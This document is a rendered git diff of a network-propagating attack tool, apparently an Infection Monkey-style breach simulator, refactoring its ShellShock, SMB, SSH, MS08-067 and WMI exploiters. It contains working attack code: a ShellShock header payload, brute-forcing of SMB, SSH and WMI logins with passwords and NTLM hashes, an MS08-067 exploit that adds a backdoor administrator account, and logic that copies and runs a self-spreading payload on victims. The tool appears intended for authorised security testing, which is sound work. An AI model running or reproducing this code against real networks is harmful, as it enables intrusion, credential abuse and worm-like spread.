from exploit.tools import get_target_monkey, HTTPTools
import requests import requests
from exploit import HostExploiter
from exploit.tools import get_target_monkey, HTTPTools, get_monkey_depth
from model import MONKEY_ARG
from shellshock_resources import CGI_FILES
from tools import build_monkey_commandline
__author__ = 'danielg' __author__ = 'danielg'
LOG = logging.getLogger(__name__) LOG = logging.getLogger(__name__)
@ -26,7 +27,8 @@ class ShellShockExploiter(HostExploiter):
"Content-type": "() { :;}; echo; " "Content-type": "() { :;}; echo; "
} }
def __init__(self): def __init__(self, host):
super(ShellShockExploiter, self).__init__(host)
self._config = __import__('config').WormConfiguration self._config = __import__('config').WormConfiguration
self.HTTP = [str(port) for port in self._config.HTTP_PORTS] self.HTTP = [str(port) for port in self._config.HTTP_PORTS]
self.success_flag = ''.join( self.success_flag = ''.join(
@ -34,11 +36,10 @@ class ShellShockExploiter(HostExploiter):
) for _ in range(20)) ) for _ in range(20))
self.skip_exist = self._config.skip_exploit_if_file_exist self.skip_exist = self._config.skip_exploit_if_file_exist
def exploit_host(self, host, depth=-1, src_path=None): def exploit_host(self):
assert isinstance(host, VictimHost)
# start by picking ports # start by picking ports
candidate_services = {service: host.services[service] for service in host.services if candidate_services = {service: self.host.services[service] for service in self.host.services if
host.services[service]['name'] == 'http'} self.host.services[service]['name'] == 'http'}
valid_ports = [(port, candidate_services['tcp-' + str(port)]['data'][1]) for port in self.HTTP if valid_ports = [(port, candidate_services['tcp-' + str(port)]['data'][1]) for port in self.HTTP if
'tcp-' + str(port) in candidate_services] 'tcp-' + str(port) in candidate_services]
@ -47,65 +48,63 @@ class ShellShockExploiter(HostExploiter):
LOG.info( LOG.info(
'Scanning %s, ports [%s] for vulnerable CGI pages' % ( 'Scanning %s, ports [%s] for vulnerable CGI pages' % (
host, ",".join([str(port[0]) for port in valid_ports])) self.host, ",".join([str(port[0]) for port in valid_ports]))
) )
attackable_urls = [] attackable_urls = []
# now for each port we want to check the entire URL list # now for each port we want to check the entire URL list
for port in http_ports: for port in http_ports:
urls = self.check_urls(host.ip_addr, port) urls = self.check_urls(self.host.ip_addr, port)
attackable_urls.extend(urls) attackable_urls.extend(urls)
for port in https_ports: for port in https_ports:
urls = self.check_urls(host.ip_addr, port, is_https=True) urls = self.check_urls(self.host.ip_addr, port, is_https=True)
attackable_urls.extend(urls) attackable_urls.extend(urls)
# now for each URl we want to try and see if it's attackable # now for each URl we want to try and see if it's attackable
exploitable_urls = [self.attempt_exploit(url) for url in attackable_urls] exploitable_urls = [self.attempt_exploit(url) for url in attackable_urls]
exploitable_urls = [url for url in exploitable_urls if url[0] is True] exploitable_urls = [url for url in exploitable_urls if url[0] is True]
# we want to report all vulnerable URLs even if we didn't succeed # we want to report all vulnerable URLs even if we didn't succeed
# let's overload this self._exploit_info['vulnerable_urls'] = exploitable_urls
# TODO: uncomment when server is ready for it
# [self.report_vuln_shellshock(host, url) for url in exploitable_urls]
# now try URLs until we install something on victim # now try URLs until we install something on victim
for _, url, header, exploit in exploitable_urls: for _, url, header, exploit in exploitable_urls:
LOG.info("Trying to attack host %s with %s URL" % (host, url)) LOG.info("Trying to attack host %s with %s URL" % (self.host, url))
# same attack script as sshexec # same attack script as sshexec
# for any failure, quit and don't try other URLs # for any failure, quit and don't try other URLs
if not host.os.get('type'): if not self.host.os.get('type'):
try: try:
uname_os_attack = exploit + '/bin/uname -o' uname_os_attack = exploit + '/bin/uname -o'
uname_os = self.attack_page(url, header, uname_os_attack) uname_os = self.attack_page(url, header, uname_os_attack)
if 'linux' in uname_os: if 'linux' in uname_os:
host.os['type'] = 'linux' self.host.os['type'] = 'linux'
else: else:
LOG.info("SSH Skipping unknown os: %s", uname_os) LOG.info("SSH Skipping unknown os: %s", uname_os)
return False return False
except Exception, exc: except Exception as exc:
LOG.debug("Error running uname os commad on victim %r: (%s)", host, exc) LOG.debug("Error running uname os commad on victim %r: (%s)", self.host, exc)
return False return False
if not host.os.get('machine'): if not self.host.os.get('machine'):
try: try:
uname_machine_attack = exploit + '/bin/uname -m' uname_machine_attack = exploit + '/bin/uname -m'
uname_machine = self.attack_page(url, header, uname_machine_attack) uname_machine = self.attack_page(url, header, uname_machine_attack)
if '' != uname_machine: if '' != uname_machine:
host.os['machine'] = uname_machine.lower().strip() self.host.os['machine'] = uname_machine.lower().strip()
except Exception, exc: except Exception as exc:
LOG.debug("Error running uname machine commad on victim %r: (%s)", host, exc) LOG.debug("Error running uname machine commad on victim %r: (%s)", self.host, exc)
return False return False
# copy the monkey # copy the monkey
dropper_target_path_linux = self._config.dropper_target_path_linux dropper_target_path_linux = self._config.dropper_target_path_linux
if self.skip_exist and (self.check_remote_file_exists(url, header, exploit, dropper_target_path_linux)): if self.skip_exist and (self.check_remote_file_exists(url, header, exploit, dropper_target_path_linux)):
LOG.info("Host %s was already infected under the current configuration, done" % host) LOG.info("Host %s was already infected under the current configuration, done" % self.host)
return True # return already infected return True # return already infected
src_path = src_path or get_target_monkey(host) src_path = src_path or get_target_monkey(self.host)
if not src_path: if not src_path:
LOG.info("Can't find suitable monkey executable for host %r", host) LOG.info("Can't find suitable monkey executable for host %r", self.host)
return False return False
http_path, http_thread = HTTPTools.create_transfer(host, src_path) http_path, http_thread = HTTPTools.create_transfer(self.host, src_path)
if not http_path: if not http_path:
LOG.debug("Exploiter ShellShock failed, http transfer creation failed.") LOG.debug("Exploiter ShellShock failed, http transfer creation failed.")
@ -133,12 +132,12 @@ class ShellShockExploiter(HostExploiter):
# run the monkey # run the monkey
cmdline = "%s %s" % (dropper_target_path_linux, MONKEY_ARG) cmdline = "%s %s" % (dropper_target_path_linux, MONKEY_ARG)
cmdline += build_monkey_commandline(host, depth - 1) + ' & ' cmdline += build_monkey_commandline(self.host, get_monkey_depth() - 1) + ' & '
run_path = exploit + cmdline run_path = exploit + cmdline
self.attack_page(url, header, run_path) self.attack_page(url, header, run_path)
LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)", LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)",
self._config.dropper_target_path_linux, host, cmdline) self._config.dropper_target_path_linux, self.host, cmdline)
if not (self.check_remote_file_exists(url, header, exploit, self._config.monkey_log_path_linux)): if not (self.check_remote_file_exists(url, header, exploit, self._config.monkey_log_path_linux)):
LOG.info("Log file does not exist, monkey might not have run") LOG.info("Log file does not exist, monkey might not have run")
@ -206,10 +205,3 @@ class ShellShockExploiter(HostExploiter):
urls = [resp.url for resp in valid_resps] urls = [resp.url for resp in valid_resps]
return urls return urls
@staticmethod
def report_vuln_shellshock(host, url):
from control import ControlClient
ControlClient.send_telemetry('exploit', {'vulnerable': True, 'machine': host.__dict__,
'exploiter': ShellShockExploiter.__name__,
'url': url})

View File

@ -1,27 +1,14 @@
import sys
from logging import getLogger from logging import getLogger
from model.host import VictimHost
from model import MONKEY_CMDLINE_DETACHED_WINDOWS, DROPPER_CMDLINE_DETACHED_WINDOWS
from exploit import HostExploiter
from network.tools import check_port_tcp
from exploit.tools import SmbTools, get_target_monkey
from network import SMBFinger
from tools import build_monkey_commandline, report_failed_login
try:
from impacket import smb
from impacket import uuid
# from impacket.dcerpc import dcerpc
from impacket.dcerpc.v5 import transport, scmr from impacket.dcerpc.v5 import transport, scmr
from impacket.smbconnection import SessionError as SessionError1, SMB_DIALECT from impacket.smbconnection import SMB_DIALECT
from impacket.smb import SessionError as SessionError2
from impacket.smb3 import SessionError as SessionError3 from exploit import HostExploiter
except ImportError as exc: from exploit.tools import SmbTools, get_target_monkey, get_monkey_depth
print str(exc) from model import MONKEY_CMDLINE_DETACHED_WINDOWS, DROPPER_CMDLINE_DETACHED_WINDOWS
print 'Install the following library to make this script work' from network import SMBFinger
print 'Impacket : http://oss.coresecurity.com/projects/impacket.html' from network.tools import check_port_tcp
print 'PyCrypto : http://www.amk.ca/python/code/crypto.html' from tools import build_monkey_commandline
raise
LOG = getLogger(__name__) LOG = getLogger(__name__)
@ -35,33 +22,32 @@ class SmbExploiter(HostExploiter):
} }
USE_KERBEROS = False USE_KERBEROS = False
def __init__(self): def __init__(self, host):
super(SmbExploiter, self).__init__(host)
self._config = __import__('config').WormConfiguration self._config = __import__('config').WormConfiguration
self._guid = __import__('config').GUID self._guid = __import__('config').GUID
def is_os_supported(self, host): def is_os_supported(self):
if host.os.get('type') in self._target_os_type: if self.host.os.get('type') in self._target_os_type:
return True return True
if not host.os.get('type'): if not self.host.os.get('type'):
is_smb_open, _ = check_port_tcp(host.ip_addr, 445) is_smb_open, _ = check_port_tcp(self.host.ip_addr, 445)
if is_smb_open: if is_smb_open:
smb_finger = SMBFinger() smb_finger = SMBFinger()
smb_finger.get_host_fingerprint(host) smb_finger.get_host_fingerprint(self.host)
else: else:
is_nb_open, _ = check_port_tcp(host.ip_addr, 139) is_nb_open, _ = check_port_tcp(self.host.ip_addr, 139)
if is_nb_open: if is_nb_open:
host.os['type'] = 'windows' self.host.os['type'] = 'windows'
return host.os.get('type') in self._target_os_type return self.host.os.get('type') in self._target_os_type
return False return False
def exploit_host(self, host, depth=-1, src_path=None): def exploit_host(self):
assert isinstance(host, VictimHost) src_path = get_target_monkey(self.host)
src_path = src_path or get_target_monkey(host)
if not src_path: if not src_path:
LOG.info("Can't find suitable monkey executable for host %r", host) LOG.info("Can't find suitable monkey executable for host %r", self.host)
return False return False
creds = self._config.get_exploit_user_password_or_hash_product() creds = self._config.get_exploit_user_password_or_hash_product()
@ -70,7 +56,7 @@ class SmbExploiter(HostExploiter):
for user, password, lm_hash, ntlm_hash in creds: for user, password, lm_hash, ntlm_hash in creds:
try: try:
# copy the file remotely using SMB # copy the file remotely using SMB
remote_full_path = SmbTools.copy_file(host, remote_full_path = SmbTools.copy_file(self.host,
src_path, src_path,
self._config.dropper_target_path, self._config.dropper_target_path,
user, user,
@ -81,17 +67,17 @@ class SmbExploiter(HostExploiter):
if remote_full_path is not None: if remote_full_path is not None:
LOG.debug("Successfully logged in %r using SMB (%s : %s : %s : %s)", LOG.debug("Successfully logged in %r using SMB (%s : %s : %s : %s)",
host, user, password, lm_hash, ntlm_hash) self.host, user, password, lm_hash, ntlm_hash)
host.learn_credentials(user, password) self.report_login_attempt(True, user, password, lm_hash, ntlm_hash)
exploited = True exploited = True
break break
else: else:
# failed exploiting with this user/pass # failed exploiting with this user/pass
report_failed_login(self, host, user, password, lm_hash, ntlm_hash) self.report_login_attempt(False, user, password, lm_hash, ntlm_hash)
except Exception as exc: except Exception as exc:
LOG.debug("Exception when trying to copy file using SMB to %r with user:" LOG.debug("Exception when trying to copy file using SMB to %r with user:"
" %s, password: '%s', LM hash: %s, NTLM hash: %s: (%s)", host, " %s, password: '%s', LM hash: %s, NTLM hash: %s: (%s)", self.host,
user, password, lm_hash, ntlm_hash, exc) user, password, lm_hash, ntlm_hash, exc)
continue continue
@ -105,10 +91,10 @@ class SmbExploiter(HostExploiter):
else: else:
cmdline = MONKEY_CMDLINE_DETACHED_WINDOWS % {'monkey_path': remote_full_path} cmdline = MONKEY_CMDLINE_DETACHED_WINDOWS % {'monkey_path': remote_full_path}
cmdline += build_monkey_commandline(host, depth - 1) cmdline += build_monkey_commandline(self.host, get_monkey_depth() - 1)
for str_bind_format, port in SmbExploiter.KNOWN_PROTOCOLS.values(): for str_bind_format, port in SmbExploiter.KNOWN_PROTOCOLS.values():
rpctransport = transport.DCERPCTransportFactory(str_bind_format % (host.ip_addr,)) rpctransport = transport.DCERPCTransportFactory(str_bind_format % (self.host.ip_addr,))
rpctransport.set_dport(port) rpctransport.set_dport(port)
if hasattr(rpctransport, 'preferred_dialect'): if hasattr(rpctransport, 'preferred_dialect'):
@ -125,7 +111,7 @@ class SmbExploiter(HostExploiter):
scmr_rpc.connect() scmr_rpc.connect()
except Exception as exc: except Exception as exc:
LOG.warn("Error connecting to SCM on exploited machine %r: %s", LOG.warn("Error connecting to SCM on exploited machine %r: %s",
host, exc) self.host, exc)
return False return False
smb_conn = rpctransport.get_smb_connection() smb_conn = rpctransport.get_smb_connection()
@ -150,6 +136,6 @@ class SmbExploiter(HostExploiter):
scmr.hRCloseServiceHandle(scmr_rpc, service) scmr.hRCloseServiceHandle(scmr_rpc, service)
LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)", LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)",
remote_full_path, host, cmdline) remote_full_path, self.host, cmdline)
return True return True

View File

@ -1,13 +1,14 @@
import paramiko
import logging import logging
import time import time
from itertools import product
import paramiko
import monkeyfs import monkeyfs
from tools import build_monkey_commandline, report_failed_login
from exploit import HostExploiter from exploit import HostExploiter
from exploit.tools import get_target_monkey, get_monkey_depth
from model import MONKEY_ARG from model import MONKEY_ARG
from exploit.tools import get_target_monkey
from network.tools import check_port_tcp from network.tools import check_port_tcp
from tools import build_monkey_commandline
__author__ = 'hoffer' __author__ = 'hoffer'
@ -19,7 +20,8 @@ TRANSFER_UPDATE_RATE = 15
class SSHExploiter(HostExploiter): class SSHExploiter(HostExploiter):
_target_os_type = ['linux', None] _target_os_type = ['linux', None]
def __init__(self): def __init__(self, host):
super(SSHExploiter, self).__init__(host)
self._config = __import__('config').WormConfiguration self._config = __import__('config').WormConfiguration
self._update_timestamp = 0 self._update_timestamp = 0
self.skip_exist = self._config.skip_exploit_if_file_exist self.skip_exist = self._config.skip_exploit_if_file_exist
@ -29,19 +31,19 @@ class SSHExploiter(HostExploiter):
LOG.debug("SFTP transferred: %d bytes, total: %d bytes", transferred, total) LOG.debug("SFTP transferred: %d bytes, total: %d bytes", transferred, total)
self._update_timestamp = time.time() self._update_timestamp = time.time()
def exploit_host(self, host, depth=-1, src_path=None): def exploit_host(self):
ssh = paramiko.SSHClient() ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.WarningPolicy()) ssh.set_missing_host_key_policy(paramiko.WarningPolicy())
port = SSH_PORT port = SSH_PORT
# if ssh banner found on different port, use that port. # if ssh banner found on different port, use that port.
for servkey, servdata in host.services.items(): for servkey, servdata in self.host.services.items():
if servdata.get('name') == 'ssh' and servkey.startswith('tcp-'): if servdata.get('name') == 'ssh' and servkey.startswith('tcp-'):
port = int(servkey.replace('tcp-', '')) port = int(servkey.replace('tcp-', ''))
is_open, _ = check_port_tcp(host.ip_addr, port) is_open, _ = check_port_tcp(self.host.ip_addr, port)
if not is_open: if not is_open:
LOG.info("SSH port is closed on %r, skipping", host) LOG.info("SSH port is closed on %r, skipping", self.host)
return False return False
user_password_pairs = self._config.get_exploit_user_password_pairs() user_password_pairs = self._config.get_exploit_user_password_pairs()
@ -49,63 +51,63 @@ class SSHExploiter(HostExploiter):
exploited = False exploited = False
for user, curpass in user_password_pairs: for user, curpass in user_password_pairs:
try: try:
ssh.connect(host.ip_addr, ssh.connect(self.host.ip_addr,
username=user, username=user,
password=curpass, password=curpass,
port=port, port=port,
timeout=None) timeout=None)
LOG.debug("Successfully logged in %r using SSH (%s : %s)", LOG.debug("Successfully logged in %r using SSH (%s : %s)",
host, user, curpass) self.host, user, curpass)
host.learn_credentials(user, curpass) self.report_login_attempt(True, user, curpass)
exploited = True exploited = True
break break
except Exception, exc: except Exception as exc:
LOG.debug("Error logging into victim %r with user" LOG.debug("Error logging into victim %r with user"
" %s and password '%s': (%s)", host, " %s and password '%s': (%s)", self.host,
user, curpass, exc) user, curpass, exc)
report_failed_login(self, host, user, curpass) self.report_login_attempt(False, user, curpass)
continue continue
if not exploited: if not exploited:
LOG.debug("Exploiter SSHExploiter is giving up...") LOG.debug("Exploiter SSHExploiter is giving up...")
return False return False
if not host.os.get('type'): if not self.host.os.get('type'):
try: try:
_, stdout, _ = ssh.exec_command('uname -o') _, stdout, _ = ssh.exec_command('uname -o')
uname_os = stdout.read().lower().strip() uname_os = stdout.read().lower().strip()
if 'linux' in uname_os: if 'linux' in uname_os:
host.os['type'] = 'linux' self.host.os['type'] = 'linux'
else: else:
LOG.info("SSH Skipping unknown os: %s", uname_os) LOG.info("SSH Skipping unknown os: %s", uname_os)
return False return False
except Exception, exc: except Exception as exc:
LOG.debug("Error running uname os commad on victim %r: (%s)", host, exc) LOG.debug("Error running uname os commad on victim %r: (%s)", self.host, exc)
return False return False
if not host.os.get('machine'): if not self.host.os.get('machine'):
try: try:
_, stdout, _ = ssh.exec_command('uname -m') _, stdout, _ = ssh.exec_command('uname -m')
uname_machine = stdout.read().lower().strip() uname_machine = stdout.read().lower().strip()
if '' != uname_machine: if '' != uname_machine:
host.os['machine'] = uname_machine self.host.os['machine'] = uname_machine
except Exception, exc: except Exception as exc:
LOG.debug("Error running uname machine commad on victim %r: (%s)", host, exc) LOG.debug("Error running uname machine commad on victim %r: (%s)", self.host, exc)
if self.skip_exist: if self.skip_exist:
_, stdout, stderr = ssh.exec_command("head -c 1 %s" % self._config.dropper_target_path_linux) _, stdout, stderr = ssh.exec_command("head -c 1 %s" % self._config.dropper_target_path_linux)
stdout_res = stdout.read().strip() stdout_res = stdout.read().strip()
if stdout_res: if stdout_res:
# file exists # file exists
LOG.info("Host %s was already infected under the current configuration, done" % host) LOG.info("Host %s was already infected under the current configuration, done" % self.host)
return True # return already infected return True # return already infected
src_path = src_path or get_target_monkey(host) src_path = get_target_monkey(self.host)
if not src_path: if not src_path:
LOG.info("Can't find suitable monkey executable for host %r", host) LOG.info("Can't find suitable monkey executable for host %r", self.host)
return False return False
try: try:
@ -115,25 +117,25 @@ class SSHExploiter(HostExploiter):
with monkeyfs.open(src_path) as file_obj: with monkeyfs.open(src_path) as file_obj:
ftp.putfo(file_obj, self._config.dropper_target_path_linux, file_size=monkeyfs.getsize(src_path), ftp.putfo(file_obj, self._config.dropper_target_path_linux, file_size=monkeyfs.getsize(src_path),
callback=self.log_transfer) callback=self.log_transfer)
ftp.chmod(self._config.dropper_target_path_linux, 0777) ftp.chmod(self._config.dropper_target_path_linux, 0o777)
ftp.close() ftp.close()
except Exception, exc: except Exception as exc:
LOG.debug("Error uploading file into victim %r: (%s)", host, exc) LOG.debug("Error uploading file into victim %r: (%s)", self.host, exc)
return False return False
try: try:
cmdline = "%s %s" % (self._config.dropper_target_path_linux, MONKEY_ARG) cmdline = "%s %s" % (self._config.dropper_target_path_linux, MONKEY_ARG)
cmdline += build_monkey_commandline(host, depth-1) cmdline += build_monkey_commandline(self.host, get_monkey_depth() - 1)
cmdline += "&" cmdline += "&"
ssh.exec_command(cmdline) ssh.exec_command(cmdline)
LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)", LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)",
self._config.dropper_target_path_linux, host, cmdline) self._config.dropper_target_path_linux, self.host, cmdline)
ssh.close() ssh.close()
return True return True
except Exception, exc: except Exception as exc:
LOG.debug("Error running monkey on victim %r: (%s)", host, exc) LOG.debug("Error running monkey on victim %r: (%s)", self.host, exc)
return False return False

View File

@ -469,21 +469,13 @@ def build_monkey_commandline(target_host, depth, location=None):
GUID, target_host.default_tunnel, target_host.default_server, depth, location) GUID, target_host.default_tunnel, target_host.default_server, depth, location)
def report_failed_login(exploiter, machine, user, password='', lm_hash='', ntlm_hash=''):
from control import ControlClient
telemetry_dict = \
{'result': False, 'machine': machine.__dict__, 'exploiter': exploiter.__class__.__name__,
'user': user, 'password': password}
if lm_hash:
telemetry_dict['lm_hash'] = lm_hash
if ntlm_hash:
telemetry_dict['ntlm_hash'] = ntlm_hash
ControlClient.send_telemetry('exploit', telemetry_dict)
def get_binaries_dir_path(): def get_binaries_dir_path():
if getattr(sys, 'frozen', False): if getattr(sys, 'frozen', False):
return sys._MEIPASS return sys._MEIPASS
else: else:
return os.path.dirname(os.path.abspath(__file__)) return os.path.dirname(os.path.abspath(__file__))
def get_monkey_depth():
from config import WormConfiguration
return WormConfiguration.depth

View File

@ -6,36 +6,21 @@
# Email: d3basis.m0hanty @ gmail.com # Email: d3basis.m0hanty @ gmail.com
############################################################################# #############################################################################
import sys
import time
import socket import socket
import time
from logging import getLogger from logging import getLogger
from enum import IntEnum from enum import IntEnum
from impacket import uuid
from impacket.dcerpc.v5 import transport
from exploit.tools import SmbTools, get_target_monkey from exploit.tools import SmbTools, get_target_monkey, get_monkey_depth
from model import DROPPER_CMDLINE_WINDOWS, MONKEY_CMDLINE_WINDOWS from model import DROPPER_CMDLINE_WINDOWS, MONKEY_CMDLINE_WINDOWS
from model.host import VictimHost
from network import SMBFinger from network import SMBFinger
from network.tools import check_port_tcp from network.tools import check_port_tcp
from tools import build_monkey_commandline from tools import build_monkey_commandline
from . import HostExploiter from . import HostExploiter
try:
from impacket import smb
from impacket import uuid
# from impacket.dcerpc import dcerpc
from impacket.dcerpc.v5 import transport
from impacket.smbconnection import SessionError as SessionError1
from impacket.smb import SessionError as SessionError2
from impacket.smb3 import SessionError as SessionError3
except ImportError as exc:
print str(exc)
print 'Install the following library to make this script work'
print 'Impacket : http://oss.coresecurity.com/projects/impacket.html'
print 'PyCrypto : http://www.amk.ca/python/code/crypto.html'
sys.exit(1)
LOG = getLogger(__name__) LOG = getLogger(__name__)
# Portbind shellcode from metasploit; Binds port to TCP port 4444 # Portbind shellcode from metasploit; Binds port to TCP port 4444
@ -171,55 +156,55 @@ class Ms08_067_Exploiter(HostExploiter):
_windows_versions = {'Windows Server 2003 3790 Service Pack 2': WindowsVersion.Windows2003_SP2, _windows_versions = {'Windows Server 2003 3790 Service Pack 2': WindowsVersion.Windows2003_SP2,
'Windows Server 2003 R2 3790 Service Pack 2': WindowsVersion.Windows2003_SP2} 'Windows Server 2003 R2 3790 Service Pack 2': WindowsVersion.Windows2003_SP2}
def __init__(self): def __init__(self, host):
super(Ms08_067_Exploiter, self).__init__(host)
self._config = __import__('config').WormConfiguration self._config = __import__('config').WormConfiguration
self._guid = __import__('config').GUID self._guid = __import__('config').GUID
def is_os_supported(self, host): def is_os_supported(self):
if host.os.get('type') in self._target_os_type and \ if self.host.os.get('type') in self._target_os_type and \
host.os.get('version') in self._windows_versions.keys(): self.host.os.get('version') in self._windows_versions.keys():
return True return True
if not host.os.get('type') or (host.os.get('type') in self._target_os_type and not host.os.get('version')): if not self.host.os.get('type') or (
is_smb_open, _ = check_port_tcp(host.ip_addr, 445) self.host.os.get('type') in self._target_os_type and not self.host.os.get('version')):
is_smb_open, _ = check_port_tcp(self.host.ip_addr, 445)
if is_smb_open: if is_smb_open:
smb_finger = SMBFinger() smb_finger = SMBFinger()
if smb_finger.get_host_fingerprint(host): if smb_finger.get_host_fingerprint(self.host):
return host.os.get('type') in self._target_os_type and \ return self.host.os.get('type') in self._target_os_type and \
host.os.get('version') in self._windows_versions.keys() self.host.os.get('version') in self._windows_versions.keys()
return False return False
def exploit_host(self, host, depth=-1, src_path=None): def exploit_host(self):
assert isinstance(host, VictimHost) src_path = get_target_monkey(self.host)
src_path = src_path or get_target_monkey(host)
if not src_path: if not src_path:
LOG.info("Can't find suitable monkey executable for host %r", host) LOG.info("Can't find suitable monkey executable for host %r", self.host)
return False return False
os_version = self._windows_versions.get(host.os.get('version'), WindowsVersion.Windows2003_SP2) os_version = self._windows_versions.get(self.host.os.get('version'), WindowsVersion.Windows2003_SP2)
exploited = False exploited = False
for _ in range(self._config.ms08_067_exploit_attempts): for _ in range(self._config.ms08_067_exploit_attempts):
exploit = SRVSVC_Exploit(target_addr=host.ip_addr, os_version=os_version) exploit = SRVSVC_Exploit(target_addr=self.host.ip_addr, os_version=os_version)
try: try:
sock = exploit.start() sock = exploit.start()
sock.send("cmd /c (net user %s %s /add) &&" sock.send("cmd /c (net user %s %s /add) &&"
" (net localgroup administrators %s /add)\r\n" % \ " (net localgroup administrators %s /add)\r\n" %
(self._config.ms08_067_remote_user_add, (self._config.ms08_067_remote_user_add,
self._config.ms08_067_remote_user_pass, self._config.ms08_067_remote_user_pass,
self._config.ms08_067_remote_user_add)) self._config.ms08_067_remote_user_add))
time.sleep(2) time.sleep(2)
reply = sock.recv(1000) reply = sock.recv(1000)
LOG.debug("Exploited into %r using MS08-067", host) LOG.debug("Exploited into %r using MS08-067", self.host)
exploited = True exploited = True
break break
except Exception as exc: except Exception as exc:
LOG.debug("Error exploiting victim %r: (%s)", host, exc) LOG.debug("Error exploiting victim %r: (%s)", self.host, exc)
continue continue
if not exploited: if not exploited:
@ -227,7 +212,7 @@ class Ms08_067_Exploiter(HostExploiter):
return False return False
# copy the file remotely using SMB # copy the file remotely using SMB
remote_full_path = SmbTools.copy_file(host, remote_full_path = SmbTools.copy_file(self.host,
src_path, src_path,
self._config.dropper_target_path, self._config.dropper_target_path,
self._config.ms08_067_remote_user_add, self._config.ms08_067_remote_user_add,
@ -236,7 +221,7 @@ class Ms08_067_Exploiter(HostExploiter):
if not remote_full_path: if not remote_full_path:
# try other passwords for administrator # try other passwords for administrator
for password in self._config.exploit_password_list: for password in self._config.exploit_password_list:
remote_full_path = SmbTools.copy_file(host, remote_full_path = SmbTools.copy_file(self.host,
src_path, src_path,
self._config.dropper_target_path, self._config.dropper_target_path,
"Administrator", "Administrator",
@ -250,16 +235,16 @@ class Ms08_067_Exploiter(HostExploiter):
# execute the remote dropper in case the path isn't final # execute the remote dropper in case the path isn't final
if remote_full_path.lower() != self._config.dropper_target_path.lower(): if remote_full_path.lower() != self._config.dropper_target_path.lower():
cmdline = DROPPER_CMDLINE_WINDOWS % {'dropper_path': remote_full_path} + \ cmdline = DROPPER_CMDLINE_WINDOWS % {'dropper_path': remote_full_path} + \
build_monkey_commandline(host, depth - 1, self._config.dropper_target_path) build_monkey_commandline(self.host, get_monkey_depth() - 1, self._config.dropper_target_path)
else: else:
cmdline = MONKEY_CMDLINE_WINDOWS % {'monkey_path': remote_full_path} + \ cmdline = MONKEY_CMDLINE_WINDOWS % {'monkey_path': remote_full_path} + \
build_monkey_commandline(host, depth - 1) build_monkey_commandline(self.host, get_monkey_depth() - 1)
try: try:
sock.send("start %s\r\n" % (cmdline,)) sock.send("start %s\r\n" % (cmdline,))
sock.send("net user %s /delete\r\n" % (self._config.ms08_067_remote_user_add,)) sock.send("net user %s /delete\r\n" % (self._config.ms08_067_remote_user_add,))
except Exception as exc: except Exception as exc:
LOG.debug("Error in post-debug phase while exploiting victim %r: (%s)", host, exc) LOG.debug("Error in post-debug phase while exploiting victim %r: (%s)", self.host, exc)
return False return False
finally: finally:
try: try:
@ -268,6 +253,6 @@ class Ms08_067_Exploiter(HostExploiter):
pass pass
LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)", LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)",
remote_full_path, host, cmdline) remote_full_path, self.host, cmdline)
return True return True

View File

@ -1,67 +1,68 @@
import socket
import ntpath
import logging import logging
import ntpath
import socket
import traceback import traceback
from tools import build_monkey_commandline
from model import DROPPER_CMDLINE_WINDOWS, MONKEY_CMDLINE_WINDOWS
from model.host import VictimHost
from exploit import HostExploiter
from exploit.tools import SmbTools, WmiTools, AccessDeniedException, get_target_monkey, report_failed_login
from impacket.dcerpc.v5.rpcrt import DCERPCException from impacket.dcerpc.v5.rpcrt import DCERPCException
from exploit import HostExploiter
from exploit.tools import SmbTools, WmiTools, AccessDeniedException, get_target_monkey, get_monkey_depth
from model import DROPPER_CMDLINE_WINDOWS, MONKEY_CMDLINE_WINDOWS
from tools import build_monkey_commandline
LOG = logging.getLogger(__name__) LOG = logging.getLogger(__name__)
class WmiExploiter(HostExploiter): class WmiExploiter(HostExploiter):
_target_os_type = ['windows'] _target_os_type = ['windows']
def __init__(self): def __init__(self, host):
super(WmiExploiter, self).__init__(host)
self._config = __import__('config').WormConfiguration self._config = __import__('config').WormConfiguration
self._guid = __import__('config').GUID self._guid = __import__('config').GUID
@WmiTools.dcom_wrap @WmiTools.dcom_wrap
def exploit_host(self, host, depth=-1, src_path=None): def exploit_host(self):
assert isinstance(host, VictimHost) src_path = get_target_monkey(self.host)
src_path = src_path or get_target_monkey(host)
if not src_path: if not src_path:
LOG.info("Can't find suitable monkey executable for host %r", host) LOG.info("Can't find suitable monkey executable for host %r", self.host)
return False return False
creds = self._config.get_exploit_user_password_or_hash_product() creds = self._config.get_exploit_user_password_or_hash_product()
for user, password, lm_hash, ntlm_hash in creds: for user, password, lm_hash, ntlm_hash in creds:
LOG.debug("Attempting to connect %r using WMI with user,password,lm hash,ntlm hash: ('%s','%s','%s','%s')", LOG.debug("Attempting to connect %r using WMI with user,password,lm hash,ntlm hash: ('%s','%s','%s','%s')",
host, user, password, lm_hash, ntlm_hash) self.host, user, password, lm_hash, ntlm_hash)
wmi_connection = WmiTools.WmiConnection() wmi_connection = WmiTools.WmiConnection()
try: try:
wmi_connection.connect(host, user, password, None, lm_hash, ntlm_hash) wmi_connection.connect(self.host, user, password, None, lm_hash, ntlm_hash)
except AccessDeniedException: except AccessDeniedException:
self.report_login_attempt(False, user, password, lm_hash, ntlm_hash)
LOG.debug("Failed connecting to %r using WMI with " LOG.debug("Failed connecting to %r using WMI with "
"user,password,lm hash,ntlm hash: ('%s','%s','%s','%s')", "user,password,lm hash,ntlm hash: ('%s','%s','%s','%s')",
host, user, password, lm_hash, ntlm_hash) self.host, user, password, lm_hash, ntlm_hash)
continue continue
except DCERPCException as exc: except DCERPCException:
report_failed_login(self, host, user, password, lm_hash, ntlm_hash) self.report_login_attempt(False, user, password, lm_hash, ntlm_hash)
LOG.debug("Failed connecting to %r using WMI with " LOG.debug("Failed connecting to %r using WMI with "
"user,password,lm hash,ntlm hash: ('%s','%s','%s','%s')", "user,password,lm hash,ntlm hash: ('%s','%s','%s','%s')",
host, user, password, lm_hash, ntlm_hash) self.host, user, password, lm_hash, ntlm_hash)
continue continue
except socket.error as exc: except socket.error:
LOG.debug("Network error in WMI connection to %r with " LOG.debug("Network error in WMI connection to %r with "
